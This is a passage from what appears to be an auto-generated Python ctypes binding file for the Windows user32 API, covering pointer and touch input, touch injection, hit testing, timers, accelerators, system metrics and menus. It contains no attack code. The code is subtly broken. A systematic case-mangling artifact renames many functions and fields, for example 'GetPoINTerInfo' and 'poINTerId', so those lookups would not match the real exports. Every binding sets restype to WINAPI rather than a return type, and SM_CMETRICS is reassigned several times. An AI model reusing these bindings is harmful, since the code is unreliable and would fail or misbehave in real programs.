0x00000002\nTOUCH_FEEDBACK_NONE = 0x00000003\n\n# WINAPI\n# InitializeTouchInjection(\n# _In_ UINT32 maxCount,\n# _In_ DWORD dwMode);\nInitializeTouchInjection = user32.InitializeTouchInjection\nInitializeTouchInjection.restype = WINAPI\n\n\n# WINAPI\n# InjectTouchInput(\n# _In_ UINT32 count,\n# _In_reads_(count) CONST POINTER_TOUCH_INFO *contacts);\nInjectTouchInput = user32.InjectTouchInput\nInjectTouchInput.restype = WINAPI\n\n\nclass tagUSAGE_PROPERTIES(ctypes.Structure):\n _fields_ = [\n ('level', USHORT),\n ('page', USHORT),\n ('usage', USHORT),\n ('logicalMinimum', INT32),\n ('logicalMaximum', INT32),\n ('unit', USHORT),\n ('exponent', USHORT),\n ('count', BYTE),\n ('physicalMinimum', INT32),\n ('physicalMaximum', INT32),\n ]\n\n\nUSAGE_PROPERTIES = tagUSAGE_PROPERTIES\nPUSAGE_PROPERTIES = POINTER(tagUSAGE_PROPERTIES)\n\n\n\nclass tagPOINTER_TYPE_INFO(ctypes.Structure):\n _fields_ = [\n ('type', POINTER_INPUT_TYPE),\n ('DUMMYUNIONNAME', DUMMYUNIONNAME),\n ]\n\n\nPOINTER_TYPE_INFO = tagPOINTER_TYPE_INFO\nPPOINTER_TYPE_INFO = POINTER(tagPOINTER_TYPE_INFO)\n\n\n\nclass tagINPUT_INJECTION_VALUE(ctypes.Structure):\n _fields_ = [\n ('page', USHORT),\n ('usage', USHORT),\n ('value', INT32),\n ('index', USHORT),\n ]\n\n\nINPUT_INJECTION_VALUE = tagINPUT_INJECTION_VALUE\nPINPUT_INJECTION_VALUE = POINTER(tagINPUT_INJECTION_VALUE)\n\n\n\n# WINAPI\n# GetPoINTerType(\n# _In_ UINT32 poINTerId,\n# _Out_ POINTER_INPUT_TYPE *poINTerType);\nGetPoINTerType = user32.GetPoINTerType\nGetPoINTerType.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerCursorId(\n# _In_ UINT32 poINTerId,\n# _Out_ UINT32 *cursorId);\nGetPoINTerCursorId = user32.GetPoINTerCursorId\nGetPoINTerCursorId.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerInfo(\n# _In_ UINT32 poINTerId,\n# _Out_writes_(1) POINTER_INFO *poINTerInfo);\nGetPoINTerInfo = user32.GetPoINTerInfo\nGetPoINTerInfo.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerInfoHistory(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *entriesCount,\n# _Out_writes_opt_(*entriesCount) POINTER_INFO *poINTerInfo);\nGetPoINTerInfoHistory = user32.GetPoINTerInfoHistory\nGetPoINTerInfoHistory.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerFrameInfo(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *poINTerCount,\n# _Out_writes_opt_(*poINTerCount) POINTER_INFO *poINTerInfo);\nGetPoINTerFrameInfo = user32.GetPoINTerFrameInfo\nGetPoINTerFrameInfo.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerFrameInfoHistory(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *entriesCount,\n# _Inout_ UINT32 *poINTerCount,\n# _Out_writes_opt_(*entriesCount * *poINTerCount) POINTER_INFO *poINTerInfo);\nGetPoINTerFrameInfoHistory = user32.GetPoINTerFrameInfoHistory\nGetPoINTerFrameInfoHistory.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerTouchInfo(\n# _In_ UINT32 poINTerId,\n# _Out_writes_(1) POINTER_TOUCH_INFO *touchInfo);\nGetPoINTerTouchInfo = user32.GetPoINTerTouchInfo\nGetPoINTerTouchInfo.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerTouchInfoHistory(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *entriesCount,\n# _Out_writes_opt_(*entriesCount) POINTER_TOUCH_INFO *touchInfo);\nGetPoINTerTouchInfoHistory = user32.GetPoINTerTouchInfoHistory\nGetPoINTerTouchInfoHistory.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerFrameTouchInfo(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *poINTerCount,\n# _Out_writes_opt_(*poINTerCount) POINTER_TOUCH_INFO *touchInfo);\nGetPoINTerFrameTouchInfo = user32.GetPoINTerFrameTouchInfo\nGetPoINTerFrameTouchInfo.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerFrameTouchInfoHistory(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *entriesCount,\n# _Inout_ UINT32 *poINTerCount,\n# _Out_writes_opt_(*entriesCount * *poINTerCount) POINTER_TOUCH_INFO *touchInfo);\nGetPoINTerFrameTouchInfoHistory = user32.GetPoINTerFrameTouchInfoHistory\nGetPoINTerFrameTouchInfoHistory.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerPenInfo(\n# _In_ UINT32 poINTerId,\n# _Out_writes_(1) POINTER_PEN_INFO *penInfo);\nGetPoINTerPenInfo = user32.GetPoINTerPenInfo\nGetPoINTerPenInfo.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerPenInfoHistory(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *entriesCount,\n# _Out_writes_opt_(*entriesCount) POINTER_PEN_INFO *penInfo);\nGetPoINTerPenInfoHistory = user32.GetPoINTerPenInfoHistory\nGetPoINTerPenInfoHistory.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerFramePenInfo(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *poINTerCount,\n# _Out_writes_opt_(*poINTerCount) POINTER_PEN_INFO *penInfo);\nGetPoINTerFramePenInfo = user32.GetPoINTerFramePenInfo\nGetPoINTerFramePenInfo.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerFramePenInfoHistory(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *entriesCount,\n# _Inout_ UINT32 *poINTerCount,\n# _Out_writes_opt_(*entriesCount * *poINTerCount) POINTER_PEN_INFO *penInfo);\nGetPoINTerFramePenInfoHistory = user32.GetPoINTerFramePenInfoHistory\nGetPoINTerFramePenInfoHistory.restype = WINAPI\n\n\n# WINAPI\n# SkipPoINTerFrameMessages(\n# _In_ UINT32 poINTerId);\nSkipPoINTerFrameMessages = user32.SkipPoINTerFrameMessages\nSkipPoINTerFrameMessages.restype = WINAPI\n\n\n# WINAPI\n# RegisterPoINTerInputTarget(\n# _In_ HWND hwnd,\n# _In_ POINTER_INPUT_TYPE poINTerType);\nRegisterPoINTerInputTarget = user32.RegisterPoINTerInputTarget\nRegisterPoINTerInputTarget.restype = WINAPI\n\n\n# WINAPI\n# UnregisterPoINTerInputTarget(\n# _In_ HWND hwnd,\n# _In_ POINTER_INPUT_TYPE poINTerType);\nUnregisterPoINTerInputTarget = user32.UnregisterPoINTerInputTarget\nUnregisterPoINTerInputTarget.restype = WINAPI\n\n\n# WINAPI\n# RegisterPoINTerInputTargetEx(\n# _In_ HWND hwnd,\n# _In_ POINTER_INPUT_TYPE poINTerType,\n# _In_ BOOL fObserve);\nRegisterPoINTerInputTargetEx = user32.RegisterPoINTerInputTargetEx\nRegisterPoINTerInputTargetEx.restype = WINAPI\n\n\n# WINAPI\n# UnregisterPoINTerInputTargetEx(\n# _In_ HWND hwnd,\n# _In_ POINTER_INPUT_TYPE poINTerType);\nUnregisterPoINTerInputTargetEx = user32.UnregisterPoINTerInputTargetEx\nUnregisterPoINTerInputTargetEx.restype = WINAPI\n\n\n# WINAPI\n# EnableMouseInPoINTer(\n# _In_ BOOL fEnable);\nEnableMouseInPoINTer = user32.EnableMouseInPoINTer\nEnableMouseInPoINTer.restype = WINAPI\n\n\n# WINAPI\n# IsMouseInPoINTerEnabled(\n# VOID);\nIsMouseInPoINTerEnabled = user32.IsMouseInPoINTerEnabled\nIsMouseInPoINTerEnabled.restype = WINAPI\n\n\n# WINAPI\n# EnableMouseInPoINTerForThread();\nEnableMouseInPoINTerForThread = user32.EnableMouseInPoINTerForThread\nEnableMouseInPoINTerForThread.restype = WINAPI\n\nTOUCH_HIT_TESTING_DEFAULT = 0x00000000\nTOUCH_HIT_TESTING_CLIENT = 0x00000001\nTOUCH_HIT_TESTING_NONE = 0x00000002\n\n# WINAPI\n# RegisterTouchHitTestingWindow(\n# _In_ HWND hwnd,\n# _In_ ULONG value);\nRegisterTouchHitTestingWindow = user32.RegisterTouchHitTestingWindow\nRegisterTouchHitTestingWindow.restype = WINAPI\n\n\nclass tagTOUCH_HIT_TESTING_PROXIMITY_EVALUATION(ctypes.Structure):\n _fields_ = [\n ('score', UINT16),\n ('adjustedPoINT', POINT),\n ]\n\n\nTOUCH_HIT_TESTING_PROXIMITY_EVALUATION = tagTOUCH_HIT_TESTING_PROXIMITY_EVALUATION\nPTOUCH_HIT_TESTING_PROXIMITY_EVALUATION = POINTER(tagTOUCH_HIT_TESTING_PROXIMITY_EVALUATION)\n\n\n\nclass tagTOUCH_HIT_TESTING_INPUT(ctypes.Structure):\n _fields_ = [\n ('poINTerId', UINT32),\n ('poINT', POINT),\n ('boundingBox', RECT),\n ('nonOccludedBoundingBox', RECT),\n ('orientation', UINT32),\n ]\n\n\nTOUCH_HIT_TESTING_INPUT = tagTOUCH_HIT_TESTING_INPUT\nPTOUCH_HIT_TESTING_INPUT = POINTER(tagTOUCH_HIT_TESTING_INPUT)\n\n\nTOUCH_HIT_TESTING_PROXIMITY_CLOSEST = 0x00000000\nTOUCH_HIT_TESTING_PROXIMITY_FARTHEST = 0x00000FFF\n\n# WINAPI\n# EvaluateProximityToRect(\n# _In_ RECT *controlBoundingBox,\n# _In_ TOUCH_HIT_TESTING_INPUT *pHitTestingInput,\n# _Out_ TOUCH_HIT_TESTING_PROXIMITY_EVALUATION *pProximityEval);\nEvaluateProximityToRect = user32.EvaluateProximityToRect\nEvaluateProximityToRect.restype = WINAPI\n\n\n# WINAPI\n# EvaluateProximityToPolygon(\n# UINT32 numVertices,\n# _In_reads_(numVertices) POINT *controlPolygon,\n# _In_ TOUCH_HIT_TESTING_INPUT *pHitTestingInput,\n# _Out_ TOUCH_HIT_TESTING_PROXIMITY_EVALUATION *pProximityEval);\nEvaluateProximityToPolygon = user32.EvaluateProximityToPolygon\nEvaluateProximityToPolygon.restype = WINAPI\n\n\n# WINAPI\n# PackTouchHitTestingProximityEvaluation(\n# _In_ TOUCH_HIT_TESTING_INPUT *pHitTestingInput,\n# _In_ TOUCH_HIT_TESTING_PROXIMITY_EVALUATION *pProximityEval);\nPackTouchHitTestingProximityEvaluation = (\n user32.PackTouchHitTestingProximityEvaluation\n)\nPackTouchHitTestingProximityEvaluation.restype = WINAPI\n\nclass tagFEEDBACK_TYPE(ENUM):\n FEEDBACK_TOUCH_CONTACTVISUALIZATION = 1\n FEEDBACK_PEN_BARRELVISUALIZATION = 2\n FEEDBACK_PEN_TAP = 3\n FEEDBACK_PEN_DOUBLETAP = 4\n FEEDBACK_PEN_PRESSANDHOLD = 5\n FEEDBACK_PEN_RIGHTTAP = 6\n FEEDBACK_TOUCH_TAP = 7\n FEEDBACK_TOUCH_DOUBLETAP = 8\n FEEDBACK_TOUCH_PRESSANDHOLD = 9\n FEEDBACK_TOUCH_RIGHTTAP = 10\n FEEDBACK_GESTURE_PRESSANDTAP = 11\n FEEDBACK_MAX = 0xFFFFFFFF\n\n\nFEEDBACK_TYPE = tagFEEDBACK_TYPE\n\n\nGWFS_INCLUDE_ANCESTORS = 0x00000001\n\n# WINAPI\n# GetWindowFeedbackSetting(\n# _In_ HWND hwnd,\n# _In_ FEEDBACK_TYPE feedback,\n# _In_ DWORD dwFlags,\n# _Inout_ UINT32* pSize,\n# _Out_writes_bytes_opt_(*pSize) VOID* config);\nGetWindowFeedbackSetting = user32.GetWindowFeedbackSetting\nGetWindowFeedbackSetting.restype = WINAPI\n\n\n# WINAPI\n# SetWindowFeedbackSetting(\n# _In_ HWND hwnd,\n# _In_ FEEDBACK_TYPE feedback,\n# _In_ DWORD dwFlags,\n# _In_ UINT32 size,\n# _In_reads_bytes_opt_(size) CONST VOID* configuration);\nSetWindowFeedbackSetting = user32.SetWindowFeedbackSetting\nSetWindowFeedbackSetting.restype = WINAPI\n\n\nclass tagINPUT_TRANSFORM(ctypes.Structure):\n _fields_ = [\n ('DUMMYUNIONNAME', DUMMYUNIONNAME),\n ]\n\n\nINPUT_TRANSFORM = tagINPUT_TRANSFORM\n\n\n\n# WINAPI\n# GetPoINTerInputTransform(\n# _In_ UINT32 poINTerId,\n# _In_ UINT32 historyCount,\n# _Out_writes_(historyCount) INPUT_TRANSFORM *inputTransform);\nGetPoINTerInputTransform = user32.GetPoINTerInputTransform\nGetPoINTerInputTransform.restype = WINAPI\n\n\nclass tagLASTINPUTINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwTime', DWORD),\n ]\n\n\nLASTINPUTINFO = tagLASTINPUTINFO\nPLASTINPUTINFO = POINTER(tagLASTINPUTINFO)\n\n\n\n# WINAPI\n# GetLastInputInfo(\n# _Out_ PLASTINPUTINFO plii);\nGetLastInputInfo = user32.GetLastInputInfo\nGetLastInputInfo.restype = WINAPI\n\n\n# WINAPI\n# MapVirtualKeyA(\n# _In_ UINT uCode,\n# _In_ UINT uMapType);\nMapVirtualKeyA = user32.MapVirtualKeyA\nMapVirtualKeyA.restype = WINAPI\n\n\n# WINAPI\n# MapVirtualKeyW(\n# _In_ UINT uCode,\n# _In_ UINT uMapType);\nMapVirtualKeyW = user32.MapVirtualKeyW\nMapVirtualKeyW.restype = WINAPI\n\nMapVirtualKey = MapVirtualKeyW\n# MapVirtualKey = MapVirtualKeyA\n\n# WINAPI\n# MapVirtualKeyExA(\n# _In_ UINT uCode,\n# _In_ UINT uMapType,\n# _In_opt_ HKL dwhkl);\nMapVirtualKeyExA = user32.MapVirtualKeyExA\nMapVirtualKeyExA.restype = WINAPI\n\n\n# WINAPI\n# MapVirtualKeyExW(\n# _In_ UINT uCode,\n# _In_ UINT uMapType,\n# _In_opt_ HKL dwhkl);\nMapVirtualKeyExW = user32.MapVirtualKeyExW\nMapVirtualKeyExW.restype = WINAPI\n\nMapVirtualKeyEx = MapVirtualKeyExW\n# MapVirtualKeyEx = MapVirtualKeyExA\nMAPVK_VK_TO_VSC = 0x00000000\nMAPVK_VSC_TO_VK = 0x00000001\nMAPVK_VK_TO_CHAR = 0x00000002\nMAPVK_VSC_TO_VK_EX = 0x00000003\nMAPVK_VK_TO_VSC_EX = 0x00000004\n\n# WINAPI\n# GetInputState(\n# VOID);\nGetInputState = user32.GetInputState\nGetInputState.restype = WINAPI\n\n\n# WINAPI\n# GetQueueStatus(\n# _In_ UINT flags);\nGetQueueStatus = user32.GetQueueStatus\nGetQueueStatus.restype = WINAPI\n\n\n# WINAPI\n# GetCapture(\n# VOID);\nGetCapture = user32.GetCapture\nGetCapture.restype = WINAPI\n\n\n# WINAPI\n# SetCapture(\n# _In_ HWND hWnd);\nSetCapture = user32.SetCapture\nSetCapture.restype = WINAPI\n\n\n# WINAPI\n# ReleaseCapture(\n# VOID);\nReleaseCapture = user32.ReleaseCapture\nReleaseCapture.restype = WINAPI\n\n\n# WINAPI\n# MsgWaitForMultipleObjects(\n# _In_ DWORD nCount,\n# _In_reads_opt_(nCount) CONST HANDLE *pHandles,\n# _In_ BOOL fWaitAll,\n# _In_ DWORD dwMilliseconds,\n# _In_ DWORD dwWakeMask);\nMsgWaitForMultipleObjects = user32.MsgWaitForMultipleObjects\nMsgWaitForMultipleObjects.restype = WINAPI\n\n\n# WINAPI\n# MsgWaitForMultipleObjectsEx(\n# _In_ DWORD nCount,\n# _In_reads_opt_(nCount) CONST HANDLE *pHandles,\n# _In_ DWORD dwMilliseconds,\n# _In_ DWORD dwWakeMask,\n# _In_ DWORD dwFlags);\nMsgWaitForMultipleObjectsEx = user32.MsgWaitForMultipleObjectsEx\nMsgWaitForMultipleObjectsEx.restype = WINAPI\n\nMWMO_WAITALL = 0x00000001\nMWMO_ALERTABLE = 0x00000002\nMWMO_INPUTAVAILABLE = 0x00000004\n\nUSER_TIMER_MAXIMUM = 0x7FFFFFFF\nUSER_TIMER_MINIMUM = 0x0000000A\n\n# WINAPI\n# SetTimer(\n# _In_opt_ HWND hWnd,\n# _In_ UINT_PTR nIDEvent,\n# _In_ UINT uElapse,\n# _In_opt_ TIMERPROC lpTimerFunc);\nSetTimer = user32.SetTimer\nSetTimer.restype = WINAPI\n\nTIMERV_DEFAULT_COALESCING = 0x00000000\nTIMERV_NO_COALESCING = 0xFFFFFFFF\nTIMERV_COALESCING_MIN = 0x00000001\nTIMERV_COALESCING_MAX = 0x7FFFFFF5\n\n# WINAPI\n# SetCoalescableTimer(\n# _In_opt_ HWND hWnd,\n# _In_ UINT_PTR nIDEvent,\n# _In_ UINT uElapse,\n# _In_opt_ TIMERPROC lpTimerFunc,\n# _In_ ULONG uToleranceDelay);\nSetCoalescableTimer = user32.SetCoalescableTimer\nSetCoalescableTimer.restype = WINAPI\n\n\n# WINAPI\n# KillTimer(\n# _In_opt_ HWND hWnd,\n# _In_ UINT_PTR uIDEvent);\nKillTimer = user32.KillTimer\nKillTimer.restype = WINAPI\n\n\n# WINAPI\n# IsWindowUnicode(\n# _In_ HWND hWnd);\nIsWindowUnicode = user32.IsWindowUnicode\nIsWindowUnicode.restype = WINAPI\n\n\n# WINAPI\n# EnableWindow(\n# _In_ HWND hWnd,\n# _In_ BOOL bEnable);\nEnableWindow = user32.EnableWindow\nEnableWindow.restype = WINAPI\n\n\n# WINAPI\n# IsWindowEnabled(\n# _In_ HWND hWnd);\nIsWindowEnabled = user32.IsWindowEnabled\nIsWindowEnabled.restype = WINAPI\n\n\n# WINAPI\n# LoadAcceleratorsA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpTableName);\nLoadAcceleratorsA = user32.LoadAcceleratorsA\nLoadAcceleratorsA.restype = WINAPI\n\n\n# WINAPI\n# LoadAcceleratorsW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpTableName);\nLoadAcceleratorsW = user32.LoadAcceleratorsW\nLoadAcceleratorsW.restype = WINAPI\n\nLoadAccelerators = LoadAcceleratorsW\n# LoadAccelerators = LoadAcceleratorsA\n\n# WINAPI\n# CreateAcceleratorTableA(\n# _In_reads_(cAccel) LPACCEL paccel,\n# _In_ INT cAccel);\nCreateAcceleratorTableA = user32.CreateAcceleratorTableA\nCreateAcceleratorTableA.restype = WINAPI\n\n\n# WINAPI\n# CreateAcceleratorTableW(\n# _In_reads_(cAccel) LPACCEL paccel,\n# _In_ INT cAccel);\nCreateAcceleratorTableW = user32.CreateAcceleratorTableW\nCreateAcceleratorTableW.restype = WINAPI\n\nCreateAcceleratorTable = CreateAcceleratorTableW\n# CreateAcceleratorTable = CreateAcceleratorTableA\n\n# WINAPI\n# DestroyAcceleratorTable(\n# _In_ HACCEL hAccel);\nDestroyAcceleratorTable = user32.DestroyAcceleratorTable\nDestroyAcceleratorTable.restype = WINAPI\n\n\n# WINAPI\n# CopyAcceleratorTableA(\n# _In_ HACCEL hAccelSrc,\n# _Out_writes_to_opt_(cAccelEntries, return) LPACCEL lpAccelDst,\n# _In_ INT cAccelEntries);\nCopyAcceleratorTableA = user32.CopyAcceleratorTableA\nCopyAcceleratorTableA.restype = WINAPI\n\n\n# WINAPI\n# CopyAcceleratorTableW(\n# _In_ HACCEL hAccelSrc,\n# _Out_writes_to_opt_(cAccelEntries, return) LPACCEL lpAccelDst,\n# _In_ INT cAccelEntries);\nCopyAcceleratorTableW = user32.CopyAcceleratorTableW\nCopyAcceleratorTableW.restype = WINAPI\n\nCopyAcceleratorTable = CopyAcceleratorTableW\n# CopyAcceleratorTable = CopyAcceleratorTableA\n\n# WINAPI\n# TranslateAcceleratorA(\n# _In_ HWND hWnd,\n# _In_ HACCEL hAccTable,\n# _In_ LPMSG lpMsg);\nTranslateAcceleratorA = user32.TranslateAcceleratorA\nTranslateAcceleratorA.restype = WINAPI\n\n\n# WINAPI\n# TranslateAcceleratorW(\n# _In_ HWND hWnd,\n# _In_ HACCEL hAccTable,\n# _In_ LPMSG lpMsg);\nTranslateAcceleratorW = user32.TranslateAcceleratorW\nTranslateAcceleratorW.restype = WINAPI\n\nTranslateAccelerator = TranslateAcceleratorW\n# TranslateAccelerator = TranslateAcceleratorA\nSM_CXSCREEN = 0x00000000\nSM_CYSCREEN = 0x00000001\nSM_CXVSCROLL = 0x00000002\nSM_CYHSCROLL = 0x00000003\nSM_CYCAPTION = 0x00000004\nSM_CXBORDER = 0x00000005\nSM_CYBORDER = 0x00000006\nSM_CXDLGFRAME = 0x00000007\nSM_CYDLGFRAME = 0x00000008\nSM_CYVTHUMB = 0x00000009\nSM_CXHTHUMB = 0x0000000A\nSM_CXICON = 0x0000000B\nSM_CYICON = 0x0000000C\nSM_CXCURSOR = 0x0000000D\nSM_CYCURSOR = 0x0000000E\nSM_CYMENU = 0x0000000F\nSM_CXFULLSCREEN = 0x00000010\nSM_CYFULLSCREEN = 0x00000011\nSM_CYKANJIWINDOW = 0x00000012\nSM_MOUSEPRESENT = 0x00000013\nSM_CYVSCROLL = 0x00000014\nSM_CXHSCROLL = 0x00000015\nSM_DEBUG = 0x00000016\nSM_SWAPBUTTON = 0x00000017\nSM_RESERVED1 = 0x00000018\nSM_RESERVED2 = 0x00000019\nSM_RESERVED3 = 0x0000001A\nSM_RESERVED4 = 0x0000001B\nSM_CXMIN = 0x0000001C\nSM_CYMIN = 0x0000001D\nSM_CXSIZE = 0x0000001E\nSM_CYSIZE = 0x0000001F\nSM_CXFRAME = 0x00000020\nSM_CYFRAME = 0x00000021\nSM_CXMINTRACK = 0x00000022\nSM_CYMINTRACK = 0x00000023\nSM_CXDOUBLECLK = 0x00000024\nSM_CYDOUBLECLK = 0x00000025\nSM_CXICONSPACING = 0x00000026\nSM_CYICONSPACING = 0x00000027\nSM_MENUDROPALIGNMENT = 0x00000028\nSM_PENWINDOWS = 0x00000029\nSM_DBCSENABLED = 0x0000002A\nSM_CMOUSEBUTTONS = 0x0000002B\nSM_CXFIXEDFRAME = SM_CXDLGFRAME\nSM_CYFIXEDFRAME = SM_CYDLGFRAME\nSM_CXSIZEFRAME = SM_CXFRAME\nSM_CYSIZEFRAME = SM_CYFRAME\nSM_SECURE = 0x0000002C\nSM_CXEDGE = 0x0000002D\nSM_CYEDGE = 0x0000002E\nSM_CXMINSPACING = 0x0000002F\nSM_CYMINSPACING = 0x00000030\nSM_CXSMICON = 0x00000031\nSM_CYSMICON = 0x00000032\nSM_CYSMCAPTION = 0x00000033\nSM_CXSMSIZE = 0x00000034\nSM_CYSMSIZE = 0x00000035\nSM_CXMENUSIZE = 0x00000036\nSM_CYMENUSIZE = 0x00000037\nSM_ARRANGE = 0x00000038\nSM_CXMINIMIZED = 0x00000039\nSM_CYMINIMIZED = 0x0000003A\nSM_CXMAXTRACK = 0x0000003B\nSM_CYMAXTRACK = 0x0000003C\nSM_CXMAXIMIZED = 0x0000003D\nSM_CYMAXIMIZED = 0x0000003E\nSM_NETWORK = 0x0000003F\nSM_CLEANBOOT = 0x00000043\nSM_CXDRAG = 0x00000044\nSM_CYDRAG = 0x00000045\nSM_SHOWSOUNDS = 0x00000046\nSM_CXMENUCHECK = 0x00000047\nSM_CYMENUCHECK = 0x00000048\nSM_SLOWMACHINE = 0x00000049\nSM_MIDEASTENABLED = 0x0000004A\nSM_MOUSEWHEELPRESENT = 0x0000004B\nSM_XVIRTUALSCREEN = 0x0000004C\nSM_YVIRTUALSCREEN = 0x0000004D\nSM_CXVIRTUALSCREEN = 0x0000004E\nSM_CYVIRTUALSCREEN = 0x0000004F\nSM_CMONITORS = 0x00000050\nSM_SAMEDISPLAYFORMAT = 0x00000051\nSM_IMMENABLED = 0x00000052\nSM_CXFOCUSBORDER = 0x00000053\nSM_CYFOCUSBORDER = 0x00000054\nSM_TABLETPC = 0x00000056\nSM_MEDIACENTER = 0x00000057\nSM_STARTER = 0x00000058\nSM_SERVERR2 = 0x00000059\nSM_MOUSEHORIZONTALWHEELPRESENT = 0x0000005B\nSM_CXPADDEDBORDER = 0x0000005C\nSM_DIGITIZER = 0x0000005E\nSM_MAXIMUMTOUCHES = 0x0000005F\nSM_CMETRICS = 0x0000004C\nSM_CMETRICS = 0x00000053\nSM_CMETRICS = 0x0000005B\nSM_CMETRICS = 0x0000005D\nSM_CMETRICS = 0x00000061\nSM_REMOTESESSION = 0x00001000\nSM_SHUTTINGDOWN = 0x00002000\nSM_REMOTECONTROL = 0x00002001\nSM_CARETBLINKINGENABLED = 0x00002002\nSM_CONVERTIBLESLATEMODE = 0x00002003\nSM_SYSTEMDOCKED = 0x00002004\n\n# WINAPI\n# GetSystemMetrics(\n# _In_ INT nIndex);\nGetSystemMetrics = user32.GetSystemMetrics\nGetSystemMetrics.restype = WINAPI\n\n\n# WINAPI\n# GetSystemMetricsForDpi(\n# _In_ INT nIndex,\n# _In_ UINT dpi);\nGetSystemMetricsForDpi = user32.GetSystemMetricsForDpi\nGetSystemMetricsForDpi.restype = WINAPI\n\n\n# WINAPI\n# LoadMenuA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpMenuName);\nLoadMenuA = user32.LoadMenuA\nLoadMenuA.restype = WINAPI\n\n\n# WINAPI\n# LoadMenuW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpMenuName);\nLoadMenuW = user32.LoadMenuW\nLoadMenuW.restype = WINAPI\n\nLoadMenu = LoadMenuW\n# LoadMenu = LoadMenuA\n\n# WINAPI\n# LoadMenuIndirectA(\n# _In_ CONST MENUTEMPLATEA *lpMenuTemplate);\nLoadMenuIndirectA = user32.LoadMenuIndirectA\nLoadMenuIndirectA.restype = WINAPI\n\n\n# WINAPI\n# LoadMenuIndirectW(\n# _In_ CONST MENUTEMPLATEW *lpMenuTemplate);\nLoadMenuIndirectW = user32.LoadMenuIndirectW\nLoadMenuIndirectW.restype = WINAPI\n\nLoadMenuIndirect = LoadMenuIndirectW\n# LoadMenuIndirect = LoadMenuIndirectA\n\n# WINAPI\n# GetMenu(\n# _In_ HWND hWnd);\nGetMenu = user32.GetMenu\nGetMenu.restype = WINAPI\n\n\n# WINAPI\n# SetMenu(\n# _In_ HWND hWnd,\n# _In_opt_ HMENU hMenu);\nSetMenu = user32.SetMenu\nSetMenu.restype = WINAPI\n\n\n# WINAPI\n# ChangeMenuA(\n# _In_ HMENU hMenu,\n# _In_ UINT cmd,\n# _In_opt_ LPCSTR lpszNewItem,\n# _In_ UINT cmdInsert,\n# _In_ UINT flags);\nChangeMenuA = user32.ChangeMenuA\nChangeMenuA.restype = WINAPI\n\n\n# WINAPI\n# ChangeMenuW(\n# _In_ HMENU hMenu,\n# _In_ UINT cmd,\n# _In_opt_ LPCWSTR lpszNewItem,\n# _In_ UINT cmdInsert,\n# _In_ UINT flags);\nChangeMenuW = user32.ChangeMenuW\nChangeMenuW.restype = WINAPI\n\nChangeMenu = ChangeMenuW\n# ChangeMenu = ChangeMenuA\n\n# WINAPI\n# HiliteMenuItem(\n# _In_ HWND hWnd,\n# _In_ HMENU hMenu,\n# _In_ UINT uIDHiliteItem,\n# _In_ UINT uHilite);\nHiliteMenuItem = user32.HiliteMenuItem\nHiliteMenuItem.restype = WINAPI\n\n\n# WINAPI\n# GetMenuStringA(\n# _In_ HMENU hMenu,\n# _In_ UINT uIDItem,\n# _Out_writes_opt_(cchMax) LPSTR lpString,\n# _In_ INT cchMax,\n# _In_ UINT flags);\nGetMenuStringA = user32.GetMenuStringA\nGetMenuStringA.restype = WINAPI\n\n\n# WINAPI\n# GetMenuStringW(\n# _In_ HMENU hMenu,\n# _In_ UINT uIDItem,\n# _Out_writes_opt_(cchMax) LPWSTR lpString,\n# _In_ INT cchMax,\n# _In_ UINT flags);\nGetMenuStringW = user32.GetMenuStringW\nGetMenuStringW.restype = WINAPI\n\nGetMenuString = GetMenuStringW\n# GetMenuString = GetMenuStringA\n\n# WINAPI\n# GetMenuState(\n# _In_ HMENU hMenu,\n# _In_ UINT uId,\n# _In_ UINT uFlags);\nGetMenuState = user32.GetMenuState\nGetMenuState.restype = WINAPI\n\n\n# WINAPI\n# DrawMenuBar(\n# _In_ HWND hWnd);\nDrawMenuBar = user32.DrawMenuBar\nDrawMenuBar.restype = WINAPI\n\nPMB_ACTIVE = 0x00000001\n\n# WINAPI\n# GetSystemMenu(\n# _In_ HWND hWnd,\n# _In_ BOOL bRevert);\nGetSystemMenu = user32.GetSystemMenu\nGetSystemMenu.restype = WINAPI\n\n\n# WINAPI\n# CreateMenu(\n# VOID);\nCreateMenu = user32.CreateMenu\nCreateMenu.restype = WINAPI\n\n\n# WINAPI\n# CreatePopupMenu(\n# VOID);\nCreatePopupMenu = user32.CreatePopupMenu\nCreatePopupMenu.restype = WINAPI\n\n\n# WINAPI\n# DestroyMenu(\n# _In_ HMENU hMenu);\nDestroyMenu = user32.DestroyMenu\nDestroyMenu.restype = WINAPI\n\n\n# WINAPI\n# CheckMenuItem(\n# _In_ HMENU hMenu,\n# _In_ UINT uIDCheckItem,\n# _In_ UINT uCheck);\nCheckMenuItem = user32.CheckMenuItem\nCheckMenuItem.restype = WINAPI\n\n\n# WINAPI\n# EnableMenuItem(\n# _In_ HMENU hMenu,\n# _In_ UINT uIDEnableItem,\n# _In_ UINT uEnable);\nEnableMenuItem = user32.EnableMenuItem\nEnableMenuItem.restype = WINAPI\n\n\n# WINAPI\n# GetSubMenu(\n# _In_ HMENU hMenu,\n# _In_ INT nPos);\nGetSubMenu = user32.GetSubMenu\nGetSubMenu.restype = 